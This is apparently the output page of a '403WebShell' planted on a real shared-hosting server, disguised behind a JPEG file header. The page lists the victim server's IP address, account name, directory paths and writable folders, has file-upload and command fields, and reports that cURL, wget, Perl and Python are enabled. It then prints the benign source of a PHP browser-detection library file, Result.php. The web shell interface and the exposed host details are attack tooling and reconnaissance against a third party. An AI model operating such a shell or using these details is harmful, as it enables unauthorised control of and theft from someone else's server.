����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.109.97
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/hisorange/browser-detect/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/hisorange/browser-detect/src/Result.php
<?php

namespace hisorange\BrowserDetect;

use hisorange\BrowserDetect\Contracts\ResultInterface;

/**
 * The object is used for safely accessing the
 * result of the parsing, this is necessary
 * to allow us to change the implementaion
 * behind the values.
 *
 * @package hisorange\BrowserDetect
 */
class Result implements ResultInterface
{
    /**
     * @var string
     */
    protected $userAgent = 'Unknown';

    /**
     * @var bool
     */
    protected $isMobile = false;

    /**
     * @var bool
     */
    protected $isTablet = false;

    /**
     * @var bool
     */
    protected $isDesktop = false;

    /**
     * @var bool
     */
    protected $isBot = false;

    /**
     * @var bool
     */
    protected $isChrome = false;

    /**
     * @var bool
     */
    protected $isFirefox = false;

    /**
     * @var bool
     */
    protected $isOpera = false;

    /**
     * @var bool
     */
    protected $isSafari = false;

    /**
     * @var bool
     */
    protected $isEdge = false;

    /**
     * @var boolean
     */
    protected $isInApp = false;

    /**
     * @var bool
     */
    protected $isIE = false;

    /**
     * @var string
     */
    protected $browserName = 'Unknown';

    /**
     * @var string
     */
    protected $browserFamily = 'Unknown';

    /**
     * @var string
     */
    protected $browserVersion = '';

    /**
     * @var int
     */
    protected $browserVersionMajor = 0;

    /**
     * @var int
     */
    protected $browserVersionMinor = 0;

    /**
     * @var int
     */
    protected $browserVersionPatch = 0;

    /**
     * @var string
     */
    protected $browserEngine = 'Unknown';

    /**
     * @var string
     */
    protected $platformName = 'Unknown';

    /**
     * @var string
     */
    protected $platformFamily = 'Unknown';

    /**
     * @var string
     */
    protected $platformVersion = '';

    /**
     * @var int
     */
    protected $platformVersionMajor = 0;

    /**
     * @var int
     */
    protected $platformVersionMinor = 0;

    /**
     * @var int
     */
    protected $platformVersionPatch = 0;

    /**
     * @var bool
     */
    protected $isWindows = false;

    /**
     * @var bool
     */
    protected $isLinux = false;

    /**
     * @var bool
     */
    protected $isMac = false;

    /**
     * @var bool
     */
    protected $isAndroid = false;

    /**
     * @var string
     */
    protected $deviceFamily = 'Unknown';

    /**
     * @var string
     */
    protected $deviceModel = '';

    /**
     * @var string
     */
    protected $mobileGrade = '';

    /**
     * @inheritdoc
     */
    public function __construct(array $result)
    {
        foreach ($result as $property => $value) {
            $this->$property = $value;
        }
    }

    /**
     * @inheritdoc
     */
    public function userAgent(): string
    {
        return $this->userAgent;
    }

    /**
     * @inheritdoc
     */
    public function isMobile(): bool
    {
        return $this->isMobile;
    }

    /**
     * @inheritdoc
     */
    public function isTablet(): bool
    {
        return $this->isTablet;
    }

    /**
     * @inheritdoc
     */
    public function isDesktop(): bool
    {
        return $this->isDesktop;
    }

    /**
     * @inheritdoc
     */
    public function isBot(): bool
    {
        return $this->isBot;
    }

    /**
     * @inheritdoc
     */
    public function deviceType(): string
    {
        foreach (['Mobile', 'Tablet', 'Bot', 'Desktop'] as $deviceType) {
            if ($this->{'is' . $deviceType}()) {
                return $deviceType;
            }
        }
        return 'Unknown';
    }

    /**
     * @inheritdoc
     */
    public function isChrome(): bool
    {
        return $this->isChrome;
    }

    /**
     * @inheritdoc
     */
    public function isFirefox(): bool
    {
        return $this->isFirefox;
    }

    /**
     * @inheritdoc
     */
    public function isOpera(): bool
    {
        return $this->isOpera;
    }

    /**
     * @inheritdoc
     */
    public function isSafari(): bool
    {
        return $this->isSafari;
    }

    /**
     * @inheritDoc
     */
    public function isEdge(): bool
    {
        return $this->isEdge;
    }

    /**
     * @inheritdoc
     */
    public function isInApp(): bool
    {
        return $this->isInApp;
    }

    /**
     * @inheritdoc
     */
    public function isIE(): bool
    {
        return $this->isIE;
    }

    /**
     * @inheritdoc
     */
    public function isIEVersion(int $version, string $operator = '='): bool
    {
        return ($this->isIE && version_compare($this->browserVersion, (string) $version, $operator));
    }

    /**
     * @inheritdoc
     */
    public function browserVersion(): string
    {
        return $this->browserVersion;
    }

    /**
     * @inheritdoc
     */
    public function browserName(): string
    {
        return $this->browserName;
    }

    /**
     * @inheritdoc
     */
    public function browserFamily(): string
    {
        return $this->browserFamily;
    }

    /**
     * @inheritdoc
     */
    public function browserVersionMajor(): int
    {
        return (int) $this->browserVersionMajor;
    }

    /**
     * @inheritdoc
     */
    public function browserVersionMinor(): int
    {
        return (int) $this->browserVersionMinor;
    }

    /**
     * @inheritdoc
     */
    public function browserVersionPatch(): int
    {
        return (int) $this->browserVersionPatch;
    }

    /**
     * @inheritdoc
     */
    public function browserEngine(): string
    {
        return $this->browserEngine;
    }

    /**
     * @inheritdoc
     */
    public function platformName(): string
    {
        return $this->platformName;
    }

    /**
     * @inheritdoc
     */
    public function platformFamily(): string
    {
        return $this->platformFamily;
    }

    /**
     * @inheritdoc
     */
    public function platformVersion(): string
    {
        return $this->platformVersion;
    }

    /**
     * @inheritdoc
     */
    public function platformVersionMajor(): int
    {
        return (int) $this->platformVersionMajor;
    }

    /**
     * @inheritdoc
     */
    public function platformVersionMinor(): int
    {
        return (int) $this->platformVersionMinor;
    }

    /**
     * @inheritdoc
     */
    public function isWindows(): bool
    {
        return $this->isWindows;
    }

    /**
     * @inheritdoc
     */
    public function isLinux(): bool
    {
        return $this->isLinux;
    }

    /**
     * @inheritdoc
     */
    public function isMac(): bool
    {
        return $this->isMac;
    }

    /**
     * @inheritdoc
     */
    public function isAndroid(): bool
    {
        return $this->isAndroid;
    }

    /**
     * @inheritdoc
     */
    public function platformVersionPatch(): int
    {
        return (int) $this->platformVersionPatch;
    }

    /**
     * @inheritdoc
     */
    public function deviceFamily(): string
    {
        return $this->deviceFamily;
    }

    /**
     * @inheritdoc
     */
    public function deviceModel(): string
    {
        return $this->deviceModel;
    }

    /**
     * @inheritdoc
     */
    public function mobileGrade(): string
    {
        return $this->mobileGrade;
    }

    /**
     * @inheritdoc
     */
    public function jsonSerialize(): array
    {
        return $this->toArray();
    }

    /**
     * @inheritdoc
     */
    public function toArray()
    {
        return get_object_vars($this);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit